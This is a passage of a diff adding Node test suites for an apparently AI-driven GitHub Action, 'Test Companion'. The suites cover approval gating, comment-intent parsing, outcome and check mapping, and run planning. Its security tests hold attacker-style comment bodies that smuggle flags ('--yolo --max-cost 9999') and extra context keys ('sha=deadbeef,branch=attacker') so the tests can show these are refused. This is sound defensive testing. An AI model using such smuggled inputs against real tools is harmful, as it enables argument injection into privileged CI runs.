test('"go" on a waiting proposal runs it for real', () => { + const d = decideGate({ intent: go, approval: "review-before-run", proposal: fresh }) + assert.equal(d.action, GATE.RUN) + assert.equal(d.preview, false, "approving is the whole point; it must not stay a preview") + }) + + test('"go" on a proposal older than a day does not run it — FR-44', () => { + assert.equal(decideGate({ intent: go, approval: "review-before-run", proposal: stale }).action, GATE.EXPIRED) + }) + + test('"go" with nothing waiting says so rather than guessing', () => { + assert.equal(decideGate({ intent: go, approval: "review-before-run" }).action, GATE.NOTHING_TO_APPROVE) + }) + + // Nothing was ever held, so there is nothing to approve. Running on the + // strength of "go" alone would start a job nobody named. + test('"go" on a straight-through repository has nothing to approve either', () => { + assert.equal(decideGate({ intent: go, approval: "straight-through" }).action, GATE.NOTHING_TO_APPROVE) + }) + + /** + * Fails CLOSED. An approval value that never went through the CLI's + * validation — or a bindings read that failed — holds for review rather + * than running unreviewed, matching ResolvedApproval on the Go side. + */ + test("an unknown approval setting holds for review", () => { + assert.equal(decideGate({ intent: asking, approval: undefined }).action, GATE.PROPOSE) + assert.equal(decideGate({ intent: asking, approval: "nonsense" }).action, GATE.PROPOSE) + }) + + test("asking for a preview explicitly is not held for approval", () => { + // They already asked for the safe thing; holding it for review would be + // asking permission to write nothing. + const previewing = { kind: INTENT.WORKFLOW, workflow: "test", preview: true } + const d = decideGate({ intent: previewing, approval: "review-before-run" }) + assert.equal(d.action, GATE.RUN) + assert.equal(d.preview, true) + }) +}) + +describe("decideGate — who approved it — FR-43", () => { + /** + * Both the asker and the approver need write access, so this is not a + * privilege boundary — it is a workflow-integrity signal. FR-43's user story + * has an SDET approving a developer's request; the normative text only says + * "someone who can ask". So self-approval is allowed and REPORTED, rather + * than silently permitted or blocked outright (blocking would strand a solo + * maintainer, who could then never approve anything). + */ + test("approving your own proposal is flagged", () => { + const d = decideGate({ + intent: { kind: INTENT.GO }, + approval: "review-before-run", + proposal: { id: 7, expired: false, requester: "octocat" }, + actor: "octocat", + }) + assert.equal(d.action, GATE.RUN) + assert.equal(d.selfApproved, true) + }) + + test("a second pair of eyes is not flagged", () => { + const d = decideGate({ + intent: { kind: INTENT.GO }, + approval: "review-before-run", + proposal: { id: 7, expired: false, requester: "octocat" }, + actor: "an-sdet", + }) + assert.equal(d.selfApproved, false) + }) + + test("an older proposal with no recorded requester is not claimed to be self-approved", () => { + const d = decideGate({ + intent: { kind: INTENT.GO }, + approval: "review-before-run", + proposal: { id: 7, expired: false }, + actor: "octocat", + }) + assert.equal(d.selfApproved, false) + }) +}) + +describe("a very large change — FR-44", () => { + // FR-44's thresholds, marked ASSUMPTION in the PRD: more than 20 files or + // more than 1,000 changed lines. + test("an ordinary change is not large", () => { + assert.equal(describeChangeSize({ changed_files: 3, additions: 40, deletions: 10 }).large, false) + }) + + test("more than twenty files is large", () => { + assert.equal(describeChangeSize({ changed_files: 21, additions: 1, deletions: 0 }).large, true) + }) + + test("exactly twenty files is not", () => { + assert.equal(describeChangeSize({ changed_files: 20, additions: 1, deletions: 0 }).large, false) + }) + + test("more than a thousand changed lines is large, counting both directions", () => { + assert.equal(describeChangeSize({ changed_files: 2, additions: 600, deletions: 401 }).large, true) + assert.equal(describeChangeSize({ changed_files: 2, additions: 600, deletions: 400 }).large, false) + }) + + test("it reports the numbers, so the proposal can say why", () => { + const d = describeChangeSize({ changed_files: 30, additions: 900, deletions: 200 }) + assert.equal(d.files, 30) + assert.equal(d.lines, 1100) + }) + + // A pull request object we could not read must not be called large; the + // consequence would be telling every reviewer their change is too big. + test("an unreadable pull request is not assumed to be large", () => { + assert.equal(describeChangeSize(undefined).large, false) + assert.equal(describeChangeSize({}).large, false) + }) +}) diff --git a/test-companion/test/imports.test.mjs b/test-companion/test/imports.test.mjs new file mode 100644 index 0000000..65d1948 --- /dev/null +++ b/test-companion/test/imports.test.mjs @@ -0,0 +1,82 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { readFileSync, readdirSync } from "node:fs" +import { join } from "node:path" + +/** + * main.mjs is the one file here with no unit tests, by design: everything + * decidable lives in the pure modules beside it and this is the I/O shell. + * + * The cost of that showed up twice in live runs. `renderProposalBody` and + * `hasApproverEdits` were used in main.mjs and never imported, and nothing + * caught it — a ReferenceError inside a function body does not throw until + * that function runs, so neither `node --check` nor importing the module would + * have found it. The whole 278-test suite passed while the Action crashed on a + * runner. + * + * This closes that gap statically: every helper main.mjs CALLS must be in its + * import list, and everything it imports must actually be exported. + */ +const SRC = new URL("../src/", import.meta.url).pathname +const main = readFileSync(join(SRC, "main.mjs"), "utf8") + +/** `import { a, b } from "./x.mjs"` → { "./x.mjs": ["a","b"] } */ +function localImports(source) { + const out = {} + for (const m of source.matchAll(/import\s*\{([^}]+)\}\s*from\s*"(\.\/[^"]+)"/g)) { + out[m[2]] = m[1] + .split(",") + .map((s) => s.trim()) + .filter(Boolean) + } + return out +} + +/** The names a module exports. */ +function exportsOf(file) { + const text = readFileSync(join(SRC, file), "utf8") + return [...text.matchAll(/export\s+(?:async\s+)?function\s+(\w+)|export\s+const\s+(\w+)/g)].map((m) => m[1] ?? m[2]) +} + +const imports = localImports(main) +const withoutImportBlock = main.replace(/import\s*\{[^}]+\}\s*from\s*"[^"]+"/g, "") + +describe("main.mjs imports everything it uses", () => { + test("it imports from the local modules at all", () => { + assert.ok(Object.keys(imports).length > 5, "expected several local imports") + }) + + for (const [spec, named] of Object.entries(imports)) { + const file = spec.replace("./", "") + + test(`every name main.mjs imports from ${file} is exported`, () => { + const available = exportsOf(file) + for (const n of named) { + assert.ok(available.includes(n), `${file} does not export ${n}`) + } + }) + + test(`every ${file} helper main.mjs CALLS is imported`, () => { + for (const name of exportsOf(file)) { + // A call, not a mention: `foo(` or `foo (`. Constants are not + // called and are covered by the check above. + const called = new RegExp(`\\b${name}\\s*\\(`).test(withoutImportBlock) + if (called) { + assert.ok(named.includes(name), `main.mjs calls ${name}() but does not import it from ${file}`) + } + } + }) + } +}) + +describe("every src module is reachable", () => { + // A module nobody imports is either dead or a missing wire-up. Both are + // worth noticing; neither shows up in a passing test suite. + test("no source file is orphaned", () => { + const files = readdirSync(SRC).filter((f) => f.endsWith(".mjs") && f !== "main.mjs") + const allSource = files.map((f) => readFileSync(join(SRC, f), "utf8")).join("\n") + main + for (const f of files) { + assert.match(allSource, new RegExp(`"\\./${f.replace(".", "\\.")}"`), `${f} is imported by nothing`) + } + }) +}) diff --git a/test-companion/test/intent.test.mjs b/test-companion/test/intent.test.mjs new file mode 100644 index 0000000..4d4f065 --- /dev/null +++ b/test-companion/test/intent.test.mjs @@ -0,0 +1,241 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { readIntent, INTENT } from "../src/intent.mjs" + +/** + * FR-34 — what did the comment actually ask for? + * + * The mapping has to happen HERE, before anything runs, because FR-34 says a + * request we cannot map gets a reply and "nothing SHALL run". Handing the free + * text to the agent and letting it decide would spend the customer's credits + * working out that "make coffee" was never a job. + */ +describe("readIntent — a comment naming a job", () => { + /** + * Caught by the FIRST LIVE RUN (rag_assignment PR #20). This table was + * written before `test-pr` existed and still said "test", so the flagship + * phrase resolved to the job whose wrongness is the entire reason test-pr + * exists — and the reply read "`test` is not bound to pull request + * comments" on a repository whose pipeline bound test-pr. + */ + test('"test this PR" asks for test-pr, the job that reads the diff', () => { + assert.deepEqual(readIntent("test this PR against SHOP-221", { workflows: ["test-pr"] }), { + kind: INTENT.WORKFLOW, + workflow: "test-pr", + preview: false, + }) + }) + + // A repository still bound to the older `test` keeps working: the phrase + // prefers test-pr and falls back to whatever is actually bound. + test("falls back to `test` where that is what the repository bound", () => { + assert.equal(readIntent("test this PR", { workflows: ["test"] }).workflow, "test") + }) + + test("prefers test-pr when a repository binds both", () => { + assert.equal(readIntent("test this PR", { workflows: ["test", "test-pr"] }).workflow, "test-pr") + }) + + test("with no bindings known, it is test-pr", () => { + assert.equal(readIntent("test this PR").workflow, "test-pr") + }) + + test('"explain this failure" asks for rca, which is what explain is called here', () => { + assert.equal(readIntent("explain this failure").workflow, "rca") + }) + + test('"fix the failing tests" asks for fix', () => { + assert.equal(readIntent("fix the failing tests").workflow, "fix") + }) + + test('"find the bad PR" asks for verdict, which is what that job is called', () => { + assert.equal(readIntent("find the bad PR").workflow, "verdict") + }) +}) + +describe("readIntent — a request that is not a job", () => { + // FR-34: "A request it cannot map SHALL get a reply listing what it can do, + // and nothing SHALL run." Unknown is a real answer, not a failure. + test("a request it cannot place is unknown, not a guess", () => { + assert.equal(readIntent("make coffee").kind, INTENT.UNKNOWN) + }) + + test("an empty comment asks for nothing", () => { + assert.equal(readIntent("").kind, INTENT.UNKNOWN) + }) +}) + +describe("readIntent — asking for something other than a job", () => { + test('"stop" is a control word, not a job — FR-35', () => { + assert.equal(readIntent("stop").kind, INTENT.STOP) + }) + + // FR-35 gives stop its own 30-second deadline, so it must not lose to a job + // word that happens to share the sentence. + test("stop wins over a job named in the same breath", () => { + assert.equal(readIntent("stop, don't fix anything").kind, INTENT.STOP) + }) + + test('"set up this repo" opens the starter pull request — FR-13', () => { + assert.equal(readIntent("set up this repo").kind, INTENT.SETUP) + assert.equal(readIntent("setup this repo").kind, INTENT.SETUP) + }) +}) + +describe("readIntent — preview is a modifier, not a job — FR-8", () => { + test("preview rides along with a named job", () => { + assert.deepEqual(readIntent("test this PR, preview only"), { + kind: INTENT.WORKFLOW, + workflow: "test-pr", + preview: true, + }) + }) + + // FR-8: "Any comment MAY ask for a single preview run." With no job named, + // the pipeline file still decides WHICH job — exactly as an event-driven run + // does — so the workflow is left null and only the preview flag is set. + test("preview on its own previews whatever the pipeline binds", () => { + assert.deepEqual(readIntent("preview"), { + kind: INTENT.WORKFLOW, + workflow: null, + preview: true, + }) + }) + + test('"re-check" runs the bound jobs again, for real', () => { + assert.deepEqual(readIntent("re-check"), { + kind: INTENT.WORKFLOW, + workflow: null, + preview: false, + }) + }) +}) + +describe("readIntent — quoted text is not a request", () => { + /** + * GitHub's "Quote reply" button copies the whole earlier comment in as `>` + * lines. Without this, replying to Test Companion's own "say stop to cancel" + * message would cancel the run — the quote matches before the person's + * actual words do. + */ + test("a quoted line cannot start or stop anything", () => { + assert.equal(readIntent("> stop\n\nthanks, carry on").kind, INTENT.UNKNOWN) + }) + + test("the person's own words still count under a quote", () => { + assert.equal(readIntent("> explain this failure\n\nfix the failing tests").workflow, "fix") + }) +}) + +describe("readIntent — approving a proposal — FR-43", () => { + // FR-43: "a reply of 'go', with or without edits to the case list, SHALL + // start a new run on exactly the approved list." + test('a bare "go" approves', () => { + assert.equal(readIntent("go").kind, INTENT.GO) + }) + + test('"approved" approves too', () => { + assert.equal(readIntent("approved").kind, INTENT.GO) + }) + + test("go with edits to the list still approves", () => { + assert.equal(readIntent("go, but drop the third case").kind, INTENT.GO) + }) + + /** + * Checked AFTER the job words on purpose. "go" is two letters and turns up + * inside ordinary instructions, so a sentence that names a job is read as + * asking for that job, and only a reply that names none is an approval. + */ + test("naming a job still asks for the job", () => { + assert.equal(readIntent("go on then, fix the failing tests").workflow, "fix") + }) + + test('"going to look at this" is not an approval', () => { + assert.equal(readIntent("going to look at this later").kind, INTENT.UNKNOWN) + }) +}) + +describe("readIntent — any BOUND workflow, not just the pretty phrases — FR-34", () => { + // FR-34 says "any bound workflow in plain words". Four hand-written phrases + // covered four of the CLI's fourteen jobs; asking for the rest by name got + // the can't-place reply. Naming a job IS plain words, so the job names the + // repository has bound are accepted literally. + const bound = ["generate", "test", "rca", "fix", "validate", "results", "verdict", "automate", "mobile run"] + + test("a job asked for by name is found", () => { + assert.equal(readIntent("generate", { workflows: bound }).workflow, "generate") + assert.equal(readIntent("please run validate on this", { workflows: bound }).workflow, "validate") + }) + + test("a two-word job name works too", () => { + assert.equal(readIntent("mobile run", { workflows: bound }).workflow, "mobile run") + }) + + test('the longer name wins, so "mobile run" is not read as "run"', () => { + const d = readIntent("do a mobile run", { workflows: ["run", "mobile run"] }) + assert.equal(d.workflow, "mobile run") + }) + + // The written-out phrases still win, so "explain this failure" stays rca + // rather than matching some job literally called "explain". + test("the plain phrases still take precedence", () => { + assert.equal(readIntent("explain this failure", { workflows: bound }).workflow, "rca") + }) + + test("a job the repository has NOT bound is still unplaceable", () => { + assert.equal(readIntent("automate", { workflows: ["test"] }).kind, INTENT.UNKNOWN) + }) + + test("a name buried inside another word does not count", () => { + assert.equal(readIntent("regenerated the lockfile", { workflows: ["generate"] }).kind, INTENT.UNKNOWN) + }) + + test("with no list passed, behaviour is unchanged", () => { + assert.equal(readIntent("generate").kind, INTENT.UNKNOWN) + }) + + test("preview still rides along with a job named by name", () => { + const d = readIntent("run automate, preview only", { workflows: bound }) + assert.equal(d.workflow, "automate") + assert.equal(d.preview, true) + }) +}) + +describe("stop and set up are what the comment ASKS FOR, not words it contains", () => { + /** + * Reported in review of PR #3101. STOP and SETUP were tested before the + * job phrases — deliberately, so "stop, don't fix anything" could not + * start a fix run. But they matched the word ANYWHERE, so: + * + * "don't stop until the tests pass" cancelled the run + * "the test setup is broken, fix it" opened a settings pull request + * + * Anchoring to the start keeps the case the ordering exists for and drops + * the ones where the word is incidental. A leading politeness is allowed, + * because "please stop" is plainly a stop. + */ + const jobs = ["test-pr", "fix", "rca"] + + test('"stop" still stops, with or without politeness', () => { + for (const body of ["stop", "please stop", "can you stop", "stop, don't fix anything"]) { + assert.equal(readIntent(body, jobs).kind, INTENT.STOP, body) + } + }) + + test('"don\'t stop until the tests pass" is not a stop', () => { + assert.notEqual(readIntent("don't stop until the tests pass", jobs).kind, INTENT.STOP) + }) + + test('"set up this repo" still opens the setup', () => { + for (const body of ["set up this repo", "please set up test companion", "setup this repository"]) { + assert.equal(readIntent(body, jobs).kind, INTENT.SETUP, body) + } + }) + + test('"the test setup is broken, fix it" runs fix, not setup', () => { + const out = readIntent("the test setup is broken, fix it", jobs) + assert.notEqual(out.kind, INTENT.SETUP) + assert.equal(out.workflow, "fix") + }) +}) diff --git a/test-companion/test/outcome.test.mjs b/test-companion/test/outcome.test.mjs new file mode 100644 index 0000000..99797e5 --- /dev/null +++ b/test-companion/test/outcome.test.mjs @@ -0,0 +1,154 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { OUTCOMES, parseSummary, resolveOutcome, checkConclusion, stepShouldFail } from "../src/outcome.mjs" + +describe("parseSummary", () => { + test("reads the CLI's key: value report", () => { + const s = parseSummary(["workflow: generate", "event: pr_merged", "preview: true", "outcome: succeeded"].join("\n")) + assert.equal(s.workflow, "generate") + assert.equal(s.preview, "true") + assert.equal(s.outcome, "succeeded") + }) + + // Several keys are conditional, so the Action must not assume any are there. + test("tolerates a report with keys missing", () => { + const s = parseSummary("workflow: fix\noutcome: broke\n") + assert.equal(s.event, undefined) + assert.equal(s.outcome, "broke") + }) + + // A value can contain a colon (a build URL always does). + test("keeps a value that contains a colon", () => { + const s = parseSummary("context: build=https://ci.example.com/42") + assert.equal(s.context, "build=https://ci.example.com/42") + }) + + test("an absent report is not a crash", () => { + assert.deepEqual(parseSummary(undefined), {}) + assert.deepEqual(parseSummary(""), {}) + }) +}) + +describe("resolveOutcome", () => { + test("success", () => { + assert.equal(resolveOutcome(0, {}), OUTCOMES.SUCCEEDED) + }) + + test("the work ran but the tests do not pass", () => { + assert.equal(resolveOutcome(5, {}), OUTCOMES.TESTS_FAILED) + }) + + // Exit 4 covers three different causes. Only the report distinguishes a + // ceiling from a crash, which is why the Action reads both. + test("a ceiling is told apart from a crash, using the report", () => { + assert.equal(resolveOutcome(4, { error_type: "ceiling_exceeded" }), OUTCOMES.STOPPED_AT_LIMIT) + assert.equal(resolveOutcome(4, {}), OUTCOMES.RUN_BROKE) + }) + + test("not signed in is not a broken run", () => { + assert.equal(resolveOutcome(3, {}), OUTCOMES.COULD_NOT_RUN) + }) + + test("a bad pipeline file means nothing ran", () => { + assert.equal(resolveOutcome(2, {}), OUTCOMES.COULD_NOT_RUN) + }) + + test("blocked by plan or entitlement", () => { + assert.equal(resolveOutcome(7, {}), OUTCOMES.COULD_NOT_RUN) + }) + + // The observed false green: an expired session ended with status completed + // and exit 0 having done nothing. If the CLI said it could not run, believe + // the report over the exit code. + test("believes the report when it contradicts a success exit code", () => { + assert.equal(resolveOutcome(0, { outcome: "broke" }), OUTCOMES.RUN_BROKE) + }) + + test("an unknown exit code is a broken run, never a success", () => { + assert.equal(resolveOutcome(99, {}), OUTCOMES.RUN_BROKE) + }) +}) + +describe("checkConclusion — FR-48", () => { + // Branch protection counts a neutral check as a pass, so there must never be one. + test("is never neutral, whatever happened", () => { + for (const o of Object.values(OUTCOMES)) { + const c = checkConclusion(o) + assert.notEqual(c, "neutral", `${o} produced a neutral check`) + assert.ok(["success", "failure", "action_required"].includes(c), `${o} → ${c}`) + } + }) + + test("passes only when the work actually succeeded", () => { + assert.equal(checkConclusion(OUTCOMES.SUCCEEDED), "success") + }) + + test("fails when the tests did not pass", () => { + assert.equal(checkConclusion(OUTCOMES.TESTS_FAILED), "failure") + }) + + // A run that could not finish must not be able to satisfy a required check, + // but it is not the same as a test failure — someone has to do something. + test("asks for a person when the run could not finish", () => { + assert.equal(checkConclusion(OUTCOMES.STOPPED_AT_LIMIT), "action_required") + assert.equal(checkConclusion(OUTCOMES.COULD_NOT_RUN), "action_required") + }) +}) + +describe("stepShouldFail — FR-9 build effect", () => { + test("report leaves the step green whatever happened", () => { + for (const o of Object.values(OUTCOMES)) { + assert.equal(stepShouldFail("report", o), false, `${o} reddened the step under report`) + } + }) + + test("off leaves the step green too", () => { + assert.equal(stepShouldFail("off", OUTCOMES.TESTS_FAILED), false) + }) + + test("fail reddens the step on a bad outcome", () => { + assert.equal(stepShouldFail("fail", OUTCOMES.TESTS_FAILED), true) + assert.equal(stepShouldFail("fail", OUTCOMES.RUN_BROKE), true) + assert.equal(stepShouldFail("fail", OUTCOMES.STOPPED_AT_LIMIT), true) + assert.equal(stepShouldFail("fail", OUTCOMES.COULD_NOT_RUN), true) + }) + + test("fail still passes a successful run", () => { + assert.equal(stepShouldFail("fail", OUTCOMES.SUCCEEDED), false) + }) + + // An unset or misspelled build effect must not silently redden builds. + test("anything unrecognised behaves as report", () => { + assert.equal(stepShouldFail(undefined, OUTCOMES.RUN_BROKE), false) + assert.equal(stepShouldFail("FAIL_HARD", OUTCOMES.RUN_BROKE), false) + }) +}) + +// P0 from review: an event nothing is bound to must not look like a failure. +// +// The CLI now exits 0 and writes `outcome: skipped` for an unbound event. The +// old code took exit 0 with any non-"succeeded" outcome as RUN_BROKE, so this +// would have gone from one wrong answer to another. +describe("resolveOutcome — an unbound event is skipped, not broken", () => { + test("exit 0 with outcome skipped is SKIPPED", () => { + assert.equal(resolveOutcome(0, { outcome: "skipped" }), OUTCOMES.SKIPPED) + }) + + test("a plain exit 0 is still Succeeded", () => { + assert.equal(resolveOutcome(0, { outcome: "succeeded" }), OUTCOMES.SUCCEEDED) + assert.equal(resolveOutcome(0, {}), OUTCOMES.SUCCEEDED) + }) + + test("a real breakage at exit 0 is still Run broke", () => { + assert.equal(resolveOutcome(0, { outcome: "broke" }), OUTCOMES.RUN_BROKE) + }) + + test("tests failing at exit 0 is still Tests failed", () => { + assert.equal(resolveOutcome(0, { outcome: "failed" }), OUTCOMES.TESTS_FAILED) + }) + + test("a skipped outcome never reddens the step or the check", () => { + assert.equal(stepShouldFail(OUTCOMES.SKIPPED, "fail"), false) + assert.notEqual(checkConclusion(OUTCOMES.SKIPPED), "failure") + }) +}) diff --git a/test-companion/test/plan-run.test.mjs b/test-companion/test/plan-run.test.mjs new file mode 100644 index 0000000..de7e580 --- /dev/null +++ b/test-companion/test/plan-run.test.mjs @@ -0,0 +1,604 @@ +import { test, describe } from "node:test" +import assert from "node:assert/strict" +import { planRun, TC_EVENTS, contextArgs, withPullRequestHead } from "../src/plan-run.mjs" + +// Minimal payload builders. Each returns the shape GitHub actually puts in +// $GITHUB_EVENT_PATH for that event, trimmed to the fields we read. +const pr = (over = {}) => ({ + number: 412, + draft: false, + merged: false, + state: "open", + title: "Fix the checkout total", + head: { sha: "abc123", ref: "fix/checkout", repo: { full_name: "acme/shop" } }, + base: { ref: "main", repo: { full_name: "acme/shop" } }, + ...over, +}) + +const plan = (eventName, payload, over = {}) => planRun({ eventName, payload, inputs: {}, repo: "acme/shop", ...over }) + +describe("comment trigger", () => { + test("a @test-companion comment on a pull request starts a run", () => { + const r = plan("issue_comment", { + action: "created", + issue: { number: 412, pull_request: { url: "x" } }, + comment: { body: "@test-companion test this PR against SHOP-221", user: { login: "dev" } }, + }) + assert.equal(r.skip, undefined) + assert.equal(r.event, TC_EVENTS.PR_COMMENT) + assert.equal(r.context.pr, "412") + }) + + // The comment's wording is the user's instruction — it is the whole point of + // the trigger, so it has to reach the run rather than being thrown away. + test("carries what the person actually asked for", () => { + const r = plan("issue_comment", { + action: "created", + issue: { number: 412, pull_request: { url: "x" } }, + comment: { body: "@test-companion test this PR against SHOP-221", user: { login: "dev" } }, + }) + assert.match(r.context.instructions, /SHOP-221/) + assert.doesNotMatch(r.context.instructions, /@test-companion/, "the mention itself is not an instruction") + }) + + test("ignores a comment on an issue that is not a pull request", () => { + const r = plan("issue_comment", { + action: "created", + issue: { number: 9 }, + comment: { body: "@test-companion test this", user: { login: "dev" } }, + }) + assert.equal(r.skip.reason, "not-a-pull-request") + }) + + test("ignores a comment that does not mention us", () => { + const r = plan("issue_comment", { + action: "created", + issue: { number: 412, pull_request: { url: "x" } }, + comment: { body: "looks good to me", user: { login: "dev" } }, + }) + assert.equal(r.skip.reason, "not-addressed-to-us") + }) + + // FR-33: editing a comment must not start a run. Otherwise fixing a typo in + // a months-old comment re-runs the job. + test("ignores an edited comment", () => { + const r = plan("issue_comment", { + action: "edited", + issue: { number: 412, pull_request: { url: "x" } }, + comment: { body: "@test-companion test this", user: { login: "dev" } }, + }) + assert.equal(r.skip.reason, "comment-edited") + }) +}) + +describe("pull request triggers", () => { + test("opened", () => { + const r = plan("pull_request", { action: "opened", pull_request: pr() }) + assert.equal(r.event, TC_EVENTS.PR_OPENED) + assert.equal(r.context.sha, "abc123") + assert.equal(r.context.branch, "fix/checkout") + }) + + test("new commits", () => { + const r = plan("pull_request", { action: "synchronize", pull_request: pr() }) + assert.equal(r.event, TC_EVENTS.PR_UPDATED) + }) + + test("merged", () => { + const r = plan("pull_request", { + action: "closed", + pull_request: pr({ merged: true, state: "closed", merge_commit_sha: "deadbee" }), + }) + assert.equal(r.event, TC_EVENTS.PR_MERGED) + // The merge commit is the change that landed on the base branch; the head + // sha is the branch that no longer exists. Scoping to the wrong one makes + // the run look at code that was never merged. + assert.equal(r.context.sha, "deadbee") + assert.equal(r.context.branch, "main") + }) + + test("closed without merging does nothing", () => { + const r = plan("pull_request", { action: "closed", pull_request: pr({ merged: false }) }) + assert.equal(r.skip.reason, "closed-unmerged") + }) + + // FR-36: a draft never starts a run on its own. A comment still can, which is + // why this check belongs here and not in the comment path. + test("a draft pull request does not start a run on its own", () => { + const r = plan("pull_request", { action: "opened", pull_request: pr({ draft: true }) }) + assert.equal(r.skip.reason, "draft") + }) + + // FR-3. A fork PR runs with a read-only token and no secrets, so starting + // would fail confusingly partway. Refusing up front is the clean skip. + test("a pull request from a fork does not run", () => { + const r = plan("pull_request", { + action: "opened", + pull_request: pr({ head: { sha: "abc", ref: "x", repo: { full_name: "someone-else/shop" } } }), + }) + assert.equal(r.skip.reason, "fork") + }) +}) + +describe("red build trigger", () => { + test("a workflow that finished red", () => { + const r = plan("workflow_run", { + action: "completed", + workflow_run: { + name: "CI", + conclusion: "failure", + head_sha: "abc123", + head_branch: "main", + html_url: "https://github.com/acme/shop/actions/runs/99", + head_repository: { full_name: "acme/shop" }, + pull_requests: [], + }, + }) + assert.equal(r.event, TC_EVENTS.BUILD_FAILED) + assert.equal(r.context.build, "https://github.com/acme/shop/actions/runs/99") + assert.equal(r.context.build_status, "failed") + }) + + test("a workflow that passed does nothing", () => { + const r = plan("workflow_run", { + action: "completed", + workflow_run: { + name: "CI", + conclusion: "success", + head_sha: "a", + head_branch: "main", + head_repository: { full_name: "acme/shop" }, + }, + }) + assert.equal(r.skip.reason, "build-not-red") + }) + + // FR-21: never explain a red run that is our own. Without this, a failing + // Test Companion check triggers a run to explain the failing Test Companion + // check, which triggers another one. + test("never explains its own failed run", () => { + const r = plan( + "workflow_run", + { + action: "completed", + workflow_run: { + name: "Test Companion", + conclusion: "failure", + head_sha: "a", + head_branch: "main", + html_url: "u", + head_repository: { full_name: "acme/shop" }, + }, + }, + { inputs: { "self-workflow-name": "Test Companion" } }, + ) + assert.equal(r.skip.reason, "own-run") + }) +}) + +describe("other triggers", () => { + test("a push", () => { + const r = plan("push", { ref: "refs/heads/main", after: "abc123" }) + assert.equal(r.event, TC_EVENTS.PUSH) + assert.equal(r.context.branch, "main") + assert.equal(r.context.sha, "abc123") + }) + + test("a schedule", () => { + const r = plan("schedule", {}, { ref: "refs/heads/main", sha: "abc123" }) + assert.equal(r.event, TC_EVENTS.SCHEDULE) + }) + + // FR-12: a manual run names its own job and ignores the bindings entirely, + // which the CLI expresses as "no --event at all". + test("a manual run carries no event, so bindings are bypassed", () => { + const r = plan( + "workflow_dispatch", + {}, + { inputs: { workflow: "rca", preview: "true" }, sha: "abc", ref: "refs/heads/main" }, + ) + assert.equal(r.event, undefined, "a manual run must not send --event") + assert.equal(r.workflow, "rca") + assert.equal(r.preview, true) + }) + + test("an unsupported event is skipped rather than guessed at", () => { + const r = plan("label", {}) + assert.equal(r.skip.reason, "unsupported-event") + }) +}) + +describe("safety", () => { + // The CLI rejects a flag-like context value (CWE-88). A pull request title or + // comment is attacker-controlled on a public repo, so catch it before it is + // ever put on a command line. + test("refuses a context value that looks like a flag", () => { + const r = plan("issue_comment", { + action: "created", + issue: { number: 412, pull_request: { url: "x" } }, + comment: { body: "@test-companion --yolo --max-cost 9999", user: { login: "dev" } }, + }) + assert.equal(r.skip.reason, "unsafe-context") + }) + + test("never invents context the event did not provide", () => { + const r = plan("push", { ref: "refs/heads/main", after: "abc123" }) + for (const [k, v] of Object.entries(r.context)) { + assert.notEqual(v, undefined, `${k} must not be undefined`) + assert.notEqual(v, "", `${k} must not be empty`) + } + }) +}) + +describe("workflow_run is a privileged trigger", () => { + // workflow_run runs in the BASE repo's context with full secrets, even when + // the run it reacts to came from a fork. That is the documented GitHub + // footgun: the fork check in the pull_request path does not cover this one. + test("a red run from a fork does not start a privileged run", () => { + const r = plan("workflow_run", { + action: "completed", + workflow_run: { + name: "CI", + conclusion: "failure", + head_sha: "a", + head_branch: "x", + html_url: "u", + head_repository: { full_name: "someone-else/shop" }, + }, + }) + assert.equal(r.skip.reason, "fork") + }) + + test("a red run from this repo is fine", () => { + const r = plan("workflow_run", { + action: "completed", + workflow_run: { + name: "CI", + conclusion: "failure", + head_sha: "a", + head_branch: "main", + html_url: "u", + head_repository: { full_name: "acme/shop" }, + }, + }) + assert.equal(r.skip, undefined) + }) +}) + +describe("context values cannot inject extra keys", () => { + // --context is a comma-separated k=v list, so a comment body containing a + // comma and an equals sign could otherwise append keys of its own, e.g. + // overriding the commit the run looks at. + test("strips separators out of free text", () => { + const r = plan("issue_comment", { + action: "created", + issue: { number: 412, pull_request: { url: "x" } }, + comment: { body: "@test-companion test it,sha=deadbeef,branch=attacker", user: { login: "d" } }, + }) + assert.equal(r.skip, undefined) + assert.doesNotMatch(r.context.instructions, /[,=]/, "separators must not survive into a context value") + assert.equal(r.context.sha, undefined, "a value must not be able to introduce a new key") + }) + + test("only keys the CLI actually reads are passed through", () => { + const r = plan("pull_request", { action: "opened", pull_request: pr() }) + const allowed = new Set([ + "sha", + "branch", + "paths", + "build_status", + "pr", + "subject", + "url", + "build", + "description", + "target", + "cases", + "app", + "task", + "instructions", + "actor", + ]) + for (const k of Object.keys(r.context)) { + assert.ok(allowed.has(k), `unexpected context key: ${k}`) + } + }) +}) + +describe("workflow_run fails closed", () => { + test("a payload that does not say where the run came from is refused", () => { + const r = plan("workflow_run", { + action: "completed", + workflow_run: { name: "CI", conclusion: "failure", head_sha: "a", head_branch: "main", html_url: "u" }, + }) + assert.equal(r.skip.reason, "fork", "cannot-confirm must mean no on a trigger that carries secrets") + }) +}) + +describe("an explicitly named job", () => { + // Naming a job should win on ANY trigger, not just a manual one. Explicit + // beats implicit, and it gives a workflow file a way to pin one job without + // touching the pipeline file. Found while testing: the input was silently + // ignored on a pull_request event, which is a confusing no-op. + test("overrides the binding on an event-driven run", () => { + const r = plan("pull_request", { action: "opened", pull_request: pr() }, { inputs: { workflow: "generate" } }) + assert.equal(r.workflow, "generate") + assert.equal(r.event, undefined, "naming a job means the bindings are bypassed, as for a manual run") + assert.equal(r.context.sha, "abc123", "the event's context still applies") + }) + + test("without one, the pipeline file still decides", () => { + const r = plan("pull_request", { action: "opened", pull_request: pr() }) + assert.equal(r.workflow, undefined) + assert.equal(r.event, "pr_opened") + }) +}) + +// ── CodeRabbit findings on PR #3030 ───────────────────────────────────────── + +describe("contextArgs — one flag per pair", () => { + // A single `--context a=1,b=2` is parsed by pflag with encoding/csv, which + // returns ErrBareQuote when an unquoted field contains a double quote. So a + // PR titled `Fix "Pay now" button` made flag parsing fail and the whole run + // reported "Could not run". One flag per pair takes pflag's single-pair + // path, which never reaches the CSV reader. + test("emits a separate --context flag for every pair", () => { + assert.deepEqual(contextArgs({ sha: "abc", pr: "412" }), ["--context", "sha=abc", "--context", "pr=412"]) + }) + + test("a double quote in a value no longer poisons the other pairs", () => { + const args = contextArgs({ subject: 'Fix "Pay now" button', pr: "412" }) + assert.ok(args.includes("--context")) + assert.ok(args.some((a) => a.startsWith("subject="))) + assert.ok(args.includes("pr=412")) + }) + + 